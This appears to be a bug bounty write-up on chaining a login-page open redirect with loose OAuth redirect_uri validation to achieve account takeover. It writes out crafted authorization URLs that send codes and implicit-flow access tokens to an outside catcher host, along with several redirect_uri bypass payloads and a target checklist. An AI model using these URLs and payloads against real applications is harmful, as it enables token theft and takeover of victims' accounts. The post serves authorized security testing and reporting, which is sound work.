// The P4 I almost walked away from

The redirect was textbook. A ?next= parameter on the login page that wasn't validated — you could send a user to any URL after authentication. I noted it, wrote it up as informational, and marked the target done. Open redirects on login pages feel like noise in 2026. Everyone's seen them. Most programs pay nothing.

What I missed: the same app had a "Login with Google" button. It used a standard OAuth 2.0 authorization code flow. And the redirect_uri parameter — the URL where Google sends the authorization code after login — was validated loosely.

The connection I didn't make: an open redirect on the same domain as a registered OAuth redirect_uri is a token theft gadget. The OAuth provider trusts app.target.com. If you can redirect from app.target.com/login?next=... to anywhere you want — you control where the token ends up.

// How OAuth redirect_uri validation works — and where it breaks

In a standard OAuth flow, the authorization server (Google, GitHub, etc.) checks that the redirect_uri in the request matches a pre-registered value. If they match exactly, the code is sent there. If not, it's rejected.

The weakness: most providers validate the prefix or the domain, not the full URL. If the app registered https://app.target.com/oauth/callback, some providers will accept any URL starting with https://app.target.com/. Including https://app.target.com/login?next=https://abc123.pingback.sh/token.

the chain — step by step
Step 1
Attacker crafts OAuth URL with redirect_uri pointing to open redirect
Step 2
Victim clicks link, logs in via Google/GitHub
Step 3
OAuth provider sends code to redirect_uri (app.target.com/login?next=...)
Step 4
Open redirect fires — browser sent to pingback with code in URL

// Building the attack URL

The crafted URL needs to do two things: pass the OAuth provider's redirect_uri validation (so the code is sent there) and trigger the open redirect (so the code gets forwarded to pingback).

# Step 1 — the open redirect endpoint (already known) https://app.target.com/login?next=https://abc123.pingback.sh/token # Step 2 — URL-encode the redirect destination and use it as redirect_uri https://accounts.google.com/o/oauth2/auth ?client_id=TARGET_CLIENT_ID &response_type=code &scope=openid%20email%20profile &redirect_uri=https://app.target.com/login%3Fnext%3Dhttps://abc123.pingback.sh/token # When the victim authenticates: # Google sends them to: app.target.com/login?next=https://abc123.pingback.sh/token&code=AUTH_CODE # The open redirect fires: browser goes to pingback with the code in the URL
Finding the client_id: it's almost always public — visible in the page source of the login page, in network requests when you click "Login with Google", or in the JavaScript bundle. You don't need access to the app's OAuth config to find it.

Variant — implicit flow (token instead of code)

# Some older OAuth flows use response_type=token (implicit flow)
# This sends the access_token directly in the URL fragment — even better

https://accounts.google.com/o/oauth2/auth
  ?client_id=TARGET_CLIENT_ID
  &response_type=token   ← direct token, no code exchange needed
  &scope=openid%20email
  &redirect_uri=https://app.target.com/login%3Fnext%3Dhttps://abc123.pingback.sh/implicit

# Pingback receives:
# GET /implicit#access_token=ya29.a0AfH...&token_type=Bearer&expires_in=3600
# The access token is in the URL fragment — full account access

Redirect_uri bypass variants — when validation is stricter

# If the provider validates exact match but accepts subpath variations:
https://app.target.com/oauth/callback/../login?next=https://abc123.pingback.sh/path

# If the provider only checks domain (not path):
https://app.target.com.abc123.pingback.sh/        ← subdomain confusion
https://app.target.com@abc123.pingback.sh/        ← @ confusion (some parsers)

# If the provider accepts URL-encoded characters:
https://app.target.com%2F%2Fabc123.pingback.sh/   ← double-encoded slash

# If the app has multiple registered redirect_uris — find them all:
# Check /.well-known/oauth-authorization-server
# Check page source for other callback endpoints
# Any registered URI that has an open redirect is viable

// Setting up pingback and waiting

I set up my abc123.pingback.sh channel and crafted the full attack URL. Then I sent it to myself in a fresh incognito window, simulating a victim clicking a phishing link. I clicked "Login with Google", authenticated, and watched my dashboard.

dashboard — abc123.pingback.sh
TIMEPROTOPATH / DETAILSSOURCE
just now HTTP GET /token?code=4/0AcvDMrB8xK2...&scope=openid+email+profile victim browser
just now DNS abc123.pingback.sh — A query (redirect resolution)

The authorization code landed in the URL parameter: code=4/0AcvDMrB8xK2.... Along with the scope confirming it covered email and profile. A real attacker would exchange this code for an access token using the app's client credentials — but for the PoC, the code landing on pingback is sufficient proof. The chain works.

What to include in the report: the full attack URL, the pingback screenshot showing the code in the query string, the scope of the token, and a clear explanation of the chain. Programs sometimes struggle to understand the severity — make the impact explicit: "with this code, an attacker can impersonate any user who clicks this link and obtain full access to their account."

// The full attack timeline

Week 1 — me, first pass
Found the open redirect. /login?next= with no validation. Noted it as informational. Didn't see a way to chain it. Moved on.
Week 2 — teammate, same target
Noticed the "Login with Google" button. Checked the OAuth client_id in page source. Tested whether Google's redirect_uri validation accepted the open redirect URL. It did.
T+0:10 — chain crafted
Built the attack URL. Encoded the open redirect as the redirect_uri, pointed the next parameter at abc123.pingback.sh/token. Set up the pingback listener.
T+0:15 — PoC confirmed
Clicked the link in an incognito window. Authenticated with Google. Authorization code landed on pingback with full scope. Chain confirmed end-to-end.
T+0:25 — report submitted
P1 submitted. Full chain documented with pingback screenshots, attack URL, and impact explanation. Triaged as Critical within 3 hours. Bounty paid.

// The lesson: the severity gap

my report — week 1
P4
Open redirect on /login. Can be used for phishing. No direct account impact. Informational.
teammate's report — week 2
P1
Open redirect chained with OAuth implicit flow. Authorization code stolen. Full account takeover of any user who clicks the link.

Same vulnerability. The open redirect didn't change. What changed was the context — understanding that an open redirect on a domain that's trusted by an OAuth provider is worth a lot more than an open redirect alone.

The mental model shift: stop rating bugs in isolation. Every time you find an open redirect, immediately ask: does this app use OAuth? Does it use SSO? Is there a magic link login? Is there a password reset flow that sends tokens in URLs? Any of these turns a redirect into a token theft gadget.

// How to find this on your next target

  • Find all open redirects first?next=, ?return=, ?redirect=, ?url=, ?continue=. Even P4 ones. Make a list.
  • Check every OAuth button — "Login with Google", "Login with GitHub", "Login with SSO". Find the client_id in page source or network tab.
  • Test redirect_uri validation — substitute the open redirect URL as the redirect_uri. Try exact URL, path traversal variants (/../), encoded slashes.
  • Try both response typesresponse_type=code (authorization code) and response_type=token (implicit — sends token directly). Implicit is worse for the victim.
  • Set up pingback before testing — the code or token arrives in the URL in real time. You need to be watching.
  • Document the full chain in the report — don't just say "open redirect + OAuth". Walk the triager through each step. Programs underestimate this chain if the report is vague.
alone
P4
open redirect · informational
chained
P1
OAuth token theft · ATO
key tool
pingback
catches the token live

#OAuth #OpenRedirect #BugBounty #BugBountyTips #TokenTheft #AppSec